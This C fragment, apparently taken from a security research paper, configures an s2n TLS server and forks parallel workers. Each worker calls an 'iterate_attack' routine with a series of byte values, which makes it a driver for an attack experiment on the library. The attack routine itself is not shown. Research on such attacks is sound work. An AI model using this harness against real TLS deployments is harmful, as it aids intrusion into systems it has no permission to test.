s2n_config_set_cipher_preferences(config , "20140601");
s2n_config_add_cert_chain_and_key(config , certificate , private_key );
cmdline_params_t params;
parse_cmdline(params , argc , argv , "s2n full");
struct stat s;
if (stat(params ->directory , &s) == 0) {
if (!(s.st_mode & S_IFDIR )){
printf("’%s’ is not a directory", params ->directory );
abort ();
}
} else if (mkdir(params ->directory , S_IRWXU )) {
printf(" ’%s’ does not exist and cannot be created.", params ->directory );
abort ();
}
for(uint16_t j=0; j<params ->jobs; j++) {
pid_t pid_worker = fork ();
if (pid_worker == 0) {
iterate_attack(params , config , 0x00 , j);
iterate_attack(params , config , 0x10 , j);
if(j == 0) printf("\n");
iterate_attack(params , config , 0x01 , j);
iterate_attack(params , config , 0x02 , j);
iterate_attack(params , config , 0x03 , j);
iterate_attack(params , config , 0x04 , j);
if(j == 0) printf("\n");
iterate_attack(params , config , 0x05 , j);
iterate_attack(params , config , 0x0a , j);
iterate_attack(params , config , 0x10 , j);
iterate_attack(params , config , 0x20 , j);
break;
}
sleep (1);
}
int status = 0;
for(uint16_t j=0; j<params ->jobs; j++)
waitpid(-1, &status , 0);
s2n_config_free(config );
s2n_cleanup ();
}
